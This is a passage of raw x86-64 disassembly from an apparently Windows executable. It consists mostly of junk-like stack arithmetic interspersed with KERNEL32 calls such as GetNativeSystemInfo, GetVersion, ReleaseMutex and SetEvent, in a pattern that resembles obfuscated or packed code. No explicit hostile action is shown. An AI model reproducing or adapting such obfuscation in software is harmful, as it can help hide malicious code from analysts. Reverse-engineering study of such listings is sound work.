mov qword [rsp + 0x49c0], rax
mov eax, dword [rsp + 0x2048]
mov ecx, dword [0x14018be78]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2024], eax
mov rcx, qword [rsp + 0x3c90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x152]
mov qword [rsp + 0x49c8], rax
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x2b88]
movzx ecx, al
mov rax, qword [rsp + 0x4540]
shl rax, cl
mov rcx, qword [rsp + 0x3bc0]
mov qword [rcx], rax
mov rax, qword [0x14018beb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd30]
xor eax, ecx
mov rcx, qword [rsp + 0x48b0]
mov word [rcx], ax
lea rax, [rsp + 0xcd0]
mov qword [0x14018bfd8], rax
lea rax, [rsp + 0x3280]
mov qword [rsp + 0x49d0], rax
movzx eax, word [rsp + 0x3dc]
movzx ecx, word [rsp + 0xd00]
sar eax, cl
mov word [rsp + 0xc94], ax
lea rax, [rsp + 0xcac]
mov qword [rsp + 0x49d8], rax
mov rax, qword [rsp + 0x47e8]
mov rcx, qword [rsp + 0x3630]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x47e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e70], rax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x203c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4318]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4118]
movsx eax, byte [rax]
mov rcx, qword [0x14018bf70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16e], al
movzx eax, word [rsp + 0x694]
mov word [rsp + 0xd34], ax
lea rax, [rsp + 0x3390]
mov qword [0x14018bfe0], rax
movzx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0x3e58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0x44b0]
mov eax, dword [rax]
mov dword [rsp + 0x2070], eax
movsx eax, word [rsp + 0xc7c]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xcdc], ax
movzx eax, word [rsp + 0xd00]
mov rcx, qword [0x14018be80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc9c], ax
lea rax, [rsp + 0x1b8]
mov qword [rsp + 0x49e0], rax
mov rax, qword [rsp + 0x4570]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ff4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2048], eax
mov rax, qword [0x14018be10]
mov rcx, qword [rsp + 0x2b88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x38e0], rax
mov rax, qword [rsp + 0x3b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a70]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc84], ax
movzx eax, word [rsp + 0x654]
movzx ecx, word [rsp + 0xd34]
shl eax, cl
mov rcx, qword [0x14018be50]
mov word [rcx], ax
mov rax, qword [rsp + 0x3280]
mov rcx, qword [rsp + 0x3e70]
mov qword [rsp + 0x49e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x49e8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
lea rax, [rsp + 0x44d8]
mov qword [rsp + 0x49f0], rax
mov rax, qword [rsp + 0x44d8]
mov rcx, qword [rsp + 0x3de8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4218]
mov qword [rcx], rax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x49f8], rax
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x38a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4858]
mov qword [rcx], rax
mov rax, qword [rsp + 0x44f0]
mov eax, dword [rax]
mov dword [rsp + 0x2074], eax
movsx eax, byte [rsp + 0x1af]
movsx ecx, byte [rsp + 0x1ad]
sub eax, ecx
mov rcx, qword [rsp + 0x49c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x45f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x80]
add eax, ecx
mov byte [rsp + 0x1b6], al
lea rax, [rsp + 0x2028]
mov qword [rsp + 0x4a00], rax
mov rax, qword [0x14018be00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3f8]
and eax, ecx
mov word [0x14018be7c], ax
movzx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0x42a0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
lea rax, [rsp + 0xcd4]
mov qword [rsp + 0x4a08], rax
mov rax, qword [rsp + 0x3f08]
mov rax, qword [rax]
mov rcx, qword [0x14018ace0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4560]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18d]
sub eax, ecx
mov rcx, qword [rsp + 0x4510]
mov byte [rcx], al
mov rax, qword [rsp + 0x41e0]
mov rcx, qword [rsp + 0x4930]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2d08], rax
mov rax, qword [rsp + 0x4608]
mov ecx, dword [rsp + 0x2010]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2040], eax
movzx eax, word [rsp + 0xd2c]
mov word [rsp + 0xd38], ax
mov rax, qword [rsp + 0x41b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3b4]
shl eax, cl
mov rcx, qword [rsp + 0x4818]
mov word [rcx], ax
lea rax, [rsp + 0x4360]
mov qword [0x14018bfe8], rax
mov rax, qword [rsp + 0x41b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab4]
xor eax, ecx
mov rcx, qword [rsp + 0x4098]
mov word [rcx], ax
lea rax, [0x14018acf0]
mov qword [rsp + 0x4a10], rax
mov rax, qword [rsp + 0x3718]
mov rcx, qword [rsp + 0x37e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4860]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2078], eax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x1bc], al
mov rax, qword [0x14018bfc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4128]
mov qword [rsp + 0x4a18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a18]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3f60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40c8]
mov ecx, dword [rsp + 0x1d40]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x201c], eax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x4a20], rax
mov rax, qword [rsp + 0x40a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2010]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3eb0]
mov dword [rcx], eax
lea rax, [rsp + 0xc64]
mov qword [0x14018bff0], rax
lea rax, [rsp + 0xd2c]
mov qword [rsp + 0x4a28], rax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x4778]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
lea rax, [0x14018bf50]
mov qword [rsp + 0x4a30], rax
movsx eax, byte [rsp + 0x1b7]
movsx ecx, byte [rsp + 0x152]
sub eax, ecx
mov rcx, qword [rsp + 0x4900]
mov byte [rcx], al
mov rax, qword [rsp + 0x4530]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4128]
mov qword [rsp + 0x4a38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a38]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4418]
mov qword [rcx], rax
lea rax, [rsp + 0x2040]
mov qword [rsp + 0x4a40], rax
movsx eax, word [rsp + 0xd14]
movsx ecx, word [rsp + 0xca0]
and eax, ecx
mov word [rsp + 0xcac], ax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xcb0]
mov qword [rsp + 0x4a48], rax
mov rax, qword [rsp + 0x46a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4550]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bdf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3718]
movzx ecx, al
mov rax, qword [rsp + 0x2d90]
shl rax, cl
mov qword [rsp + 0x3f78], rax
mov rax, qword [rsp + 0x46c8]
mov rcx, qword [0x14018ace8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4830]
mov qword [rcx], rax
lea rax, [rsp + 0x2ec0]
mov qword [rsp + 0x4a50], rax
movzx eax, word [rsp + 0xd00]
movzx ecx, word [rsp + 0xccc]
add eax, ecx
mov word [rsp + 0xab4], ax
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x4a58], rax
mov rax, qword [rsp + 0x4810]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3e90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4308]
mov byte [rcx], al
mov rax, qword [rsp + 0x4708]
mov rcx, qword [rsp + 0x47b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x47a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4230]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b5]
sar eax, cl
mov byte [rsp + 0x1a0], al
mov rax, qword [rsp + 0x48d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37b0]
sub rcx, rax
mov rax, rcx
mov qword [0x14018ad18], rax
movsx eax, word [rsp + 0xd04]
mov rcx, qword [0x14018be00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4658]
mov word [rcx], ax
lea rax, [rsp + 0xcec]
mov qword [rsp + 0x4a60], rax
movzx eax, word [rsp + 0xd08]
mov rcx, qword [rsp + 0x4460]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4920]
mov word [rcx], ax
mov rax, qword [rsp + 0x3ff8]
mov rax, qword [rax]
mov qword [rsp + 0x4a68], rax
movsx eax, byte [0x14018bdc6]
movsx ecx, byte [rsp + 0x1bc]
and eax, ecx
mov rcx, qword [rsp + 0x4638]
mov byte [rcx], al
mov rax, qword [rsp + 0x43f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1fe4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4420]
mov dword [rcx], eax
lea rax, [rsp + 0x4258]
mov qword [rsp + 0x4a70], rax
movsx eax, word [rsp + 0xcc0]
movsx ecx, word [rsp + 0xd20]
sar eax, cl
mov word [rsp + 0x3b8], ax
movzx eax, word [rsp + 0x8f4]
mov rcx, qword [rsp + 0x4320]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018be80]
mov word [rcx], ax
lea rax, [rsp + 0x2d90]
mov qword [rsp + 0x4a78], rax
mov rcx, qword [rsp + 0x46b8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x3e98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4078]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4478]
mov rcx, qword [rsp + 0x3a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4038]
mov dword [rcx], eax
lea rax, [0x14018acda]
mov qword [rsp + 0x4a80], rax
mov rax, qword [rsp + 0x4210]
mov rcx, qword [rsp + 0x3bc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4310]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa0]
mov ecx, dword [rsp + 0x1f7c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1ca8], eax
mov rax, qword [rsp + 0x48f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16e]
sub eax, ecx
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0x4780]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3e18]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcec], ax
lea rax, [rsp + 0xce0]
mov qword [0x14018bff8], rax
lea rax, [rsp + 0x40b0]
mov qword [rsp + 0x4a88], rax
mov rax, qword [rsp + 0x4350]
mov rcx, qword [rsp + 0x4860]
mov qword [rsp + 0x4a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a90]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4348]
movzx eax, word [rax]
mov word [rsp + 0xd3c], ax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x4778]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4370]
mov word [rcx], ax
movsx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0x42b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b0], al
lea rax, [rsp + 0x2e28]
mov qword [rsp + 0x4a98], rax
mov rax, qword [rsp + 0x4720]
mov eax, dword [rax]
mov ecx, dword [0x14018bdc0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
lea rax, [rsp + 0x2ec0]
mov qword [rsp + 0x4aa0], rax
movzx eax, word [rsp + 0xc88]
mov word [0x14018c000], ax
mov rax, qword [rsp + 0x49b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcd4]
and eax, ecx
mov rcx, qword [rsp + 0x43b0]
mov word [rcx], ax
lea rax, [rsp + 0x1ec0]
mov qword [rsp + 0x4aa8], rax
mov rax, qword [rsp + 0x4890]
movzx eax, byte [rax]
cdq
mov ecx, 0x2a
idiv ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x41d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3390]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x49f0]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xc74]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc74], ax
mov eax, dword [rsp + 0x2034]
mov dword [rsp + 0x207c], eax
mov rax, qword [rsp + 0x4340]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x48f8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1ab], al
lea rax, [rsp + 0x3358]
mov qword [rsp + 0x4ab0], rax
movsx eax, word [0x14018be58]
mov rcx, qword [rsp + 0x43c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc98], ax
movzx eax, word [rsp + 0xd34]
mov rcx, qword [rsp + 0x45a8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018bfd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3f78]
movzx ecx, al
mov rax, qword [rsp + 0x3320]
sar rax, cl
mov rcx, qword [rsp + 0x4830]
mov qword [rcx], rax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x4ab8], rax
mov rax, qword [rsp + 0x4538]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd14]
add eax, ecx
mov word [rsp + 0xc88], ax
mov rax, qword [0x14018bf98]
mov rcx, qword [rsp + 0x3ff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3098], rax
movsx eax, byte [rsp + 0x18d]
movsx ecx, byte [rsp + 0x1a0]
add eax, ecx
mov byte [rsp + 0x167], al
mov eax, dword [0x14018bdc0]
mov rcx, qword [rsp + 0x42f8]
mov qword [rsp + 0x4ac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ac0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3f68]
mov dword [rcx], eax
lea rax, [rsp + 0x38e0]
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x49b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcd8]
and eax, ecx
mov rcx, qword [rsp + 0x4320]
mov word [rcx], ax
mov rax, qword [0x14018acf0]
mov rcx, qword [rsp + 0x40b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018bf68]
mov qword [rcx], rax
lea rax, [rsp + 0x1b3]
mov qword [rsp + 0x4ad0], rax
mov rax, qword [rsp + 0x4988]
mov rcx, qword [rsp + 0x4a00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1fc0], eax
mov rax, qword [0x14018beb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x45e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc64], ax
lea rax, [rsp + 0xab4]
mov qword [rsp + 0x4ad8], rax
movsx eax, byte [rsp + 0x1a0]
mov rcx, qword [rsp + 0x4238]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1af], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2080], eax
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0x4ae0], rax
mov rax, qword [rsp + 0x3fc0]
movzx ecx, al
mov rax, qword [rsp + 0x2b08]
shl rax, cl
mov rcx, qword [rsp + 0x4858]
mov qword [rcx], rax
movzx eax, word [rsp + 0x6b0]
mov word [rsp + 0xd40], ax
lea rax, [rsp + 0x3c0]
mov qword [0x14018c008], rax
mov rax, qword [0x14018bec0]
mov rcx, qword [rsp + 0x49a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4508]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4730]
movzx ecx, al
mov rax, qword [rsp + 0x3320]
sar rax, cl
mov qword [rsp + 0x2ec0], rax
mov rax, qword [rsp + 0x4a78]
mov rcx, qword [rsp + 0x47b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2e58], rax
mov rax, qword [rsp + 0x3a50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x40b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd14], ax
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x4ae8], rax
mov rax, qword [rsp + 0x4140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4168]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16e], al
mov rax, qword [rsp + 0x46a0]
mov rcx, qword [rsp + 0x3fc0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3f60]
mov qword [rcx], rax
lea rax, [rsp + 0x202c]
mov qword [rsp + 0x4af0], rax
movzx eax, byte [rsp + 0x1ba]
movzx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [rsp + 0x4a80]
mov byte [rcx], al
lea rax, [rsp + 0xce8]
mov qword [0x14018c010], rax
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x4af8], rax
movzx eax, word [rsp + 0xd28]
movzx ecx, word [0x14018acf8]
sar eax, cl
mov rcx, qword [rsp + 0x4a08]
mov word [rcx], ax
mov rax, qword [rsp + 0x34f8]
mov rcx, qword [rsp + 0x2b60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x42c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x44f0]
mov eax, dword [rax]
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x4050]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdc6]
and eax, ecx
mov byte [rsp + 0x1ad], al
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0x4b00], rax
mov rax, qword [rsp + 0x4080]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
shl eax, cl
mov rcx, qword [rsp + 0x3fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x45a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcfc]
xor eax, ecx
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x4268]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14018bec0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8b0]
mov rcx, qword [rsp + 0x4a48]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3ff0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42d8]
mov rcx, qword [rsp + 0x4740]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4178]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fb8]
mov rax, qword [rax]
mov qword [rsp + 0x4b08], rax
movsx eax, byte [rsp + 0x167]
movsx ecx, byte [0x14018acd9]
add eax, ecx
mov rcx, qword [rsp + 0x4168]
mov byte [rcx], al
lea rax, [rsp + 0x4568]
mov qword [rsp + 0x4b10], rax
mov eax, dword [rsp + 0x1fc0]
mov ecx, dword [rsp + 0x1fa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2060], eax
mov rax, qword [rsp + 0x3ed0]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
sub eax, ecx
mov rcx, qword [rsp + 0x4810]
mov byte [rcx], al
mov rax, qword [rsp + 0x44f0]
mov eax, dword [rax]
mov dword [rsp + 0x2088], eax
movsx eax, word [rsp + 0xc64]
mov rcx, qword [rsp + 0x4298]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14018bdc4], ax
movsx eax, word [0x14018bf4c]
mov rcx, qword [rsp + 0x44c8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4298]
mov word [rcx], ax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x4b18], rax
movzx eax, word [rsp + 0xcf8]
movzx ecx, word [rsp + 0x8f4]
sar eax, cl
mov rcx, qword [rsp + 0x4588]
mov word [rcx], ax
mov rax, qword [rsp + 0x4128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x43d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4568], rax
movsx eax, byte [rsp + 0x1bc]
movsx ecx, byte [rsp + 0x1a0]
sub eax, ecx
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x4a40]
mov rcx, qword [0x14018bfa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3f48]
mov dword [rcx], eax
lea rax, [rsp + 0xcec]
mov qword [rsp + 0x4b20], rax
movzx eax, word [rsp + 0x3dc]
movzx ecx, word [rsp + 0xd08]
xor eax, ecx
mov rcx, qword [rsp + 0x4920]
mov word [rcx], ax
mov rax, qword [rsp + 0x4350]
mov qword [0x14018c018], rax
mov rax, qword [rsp + 0x4120]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x14018c018]
shl rax, cl
mov qword [rsp + 0x4878], rax
lea rax, [rsp + 0x4878]
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x47e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4730]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b60]
mov qword [rcx], rax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x4b30], rax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x40f0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x165], al
mov rax, qword [rsp + 0x4a00]
mov eax, dword [rax]
mov dword [rsp + 0x208c], eax
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x162d0]
add rcx, rax
mov rax, rcx
add rax, 0x10
mov dword [rax], 0x60da65cf
mov rax, qword [0x14018bfc8]
mov rcx, qword [rsp + 0x2d60]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x43d8], rax
mov eax, dword [rsp + 0x2088]
mov ecx, dword [rsp + 0x2074]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4998]
mov dword [rcx], eax
lea rax, [rsp + 0x1bc]
mov qword [0x14018c020], rax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x4b38], rax
mov rax, qword [rsp + 0x4080]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4348]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4058]
mov word [rcx], ax
lea rax, [rsp + 0xbb0]
mov qword [rsp + 0x4b40], rax
mov rax, qword [rsp + 0x4830]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4740]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4958]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3c98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4680]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x38e0], rax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0x4b48], rax
mov eax, dword [rsp + 0x2034]
mov ecx, dword [rsp + 0x1b28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x4b50], rax
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0xc94]
sar eax, cl
mov word [0x14018acfc], ax
mov rax, qword [rsp + 0x4648]
mov rcx, qword [rsp + 0x49c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3f70]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3c90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x204c], eax
movzx eax, word [rsp + 0xcf8]
mov rcx, qword [rsp + 0x4ad8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4a30]
mov word [rcx], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0x4b58], rax
mov rax, qword [rsp + 0x4a00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2060]
shl eax, cl
mov rcx, qword [rsp + 0x4548]
mov dword [rcx], eax
lea rax, [rsp + 0x2e28]
mov qword [rsp + 0x4b60], rax
mov eax, dword [rsp + 0x1b18]
mov ecx, dword [rsp + 0x2088]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2010], eax
lea rax, [0x14018bdc6]
mov qword [rsp + 0x4b68], rax
mov rax, qword [rsp + 0x47f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4430]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x47f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4280]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018ad20], ax
mov rax, qword [rsp + 0x3ff8]
mov rax, qword [rax]
mov rcx, qword [0x14018c018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x44d8], rax
lea rax, [rsp + 0x2b60]
mov qword [rsp + 0x4b70], rax
movsx eax, word [rsp + 0xc5c]
mov rcx, qword [rsp + 0x4710]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4248]
mov word [rcx], ax
lea rax, [rsp + 0x39c]
mov qword [rsp + 0x4b78], rax
mov rax, qword [rsp + 0x43d8]
mov rcx, qword [rsp + 0x3d08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x43d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3b80]
mov ecx, dword [0x14018ad0c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4368]
mov dword [rcx], eax
lea rax, [rsp + 0x175]
mov qword [rsp + 0x4b80], rax
mov rax, qword [rsp + 0x4560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x37e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4268]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b50]
movsx eax, word [rax]
movsx ecx, word [0x14018c000]
sar eax, cl
mov rcx, qword [0x14018beb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4908]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f4]
shl eax, cl
mov word [rsp + 0xbc0], ax
movzx eax, byte [rsp + 0x14a]
movzx ecx, byte [rsp + 0x1b3]
or eax, ecx
mov rcx, qword [rsp + 0x4630]
mov byte [rcx], al
mov rax, qword [rsp + 0x44b0]
mov rcx, qword [rsp + 0x4358]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x47a0]
mov dword [rcx], eax
lea rax, [rsp + 0x3eb8]
mov qword [rsp + 0x4b88], rax
movsx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0x49c8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
lea rax, [rsp + 0x2fa8]
mov qword [rsp + 0x4b90], rax
mov rax, qword [rsp + 0x3a38]
mov ecx, dword [rsp + 0x1c58]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4608]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40d0]
movsx eax, word [rax]
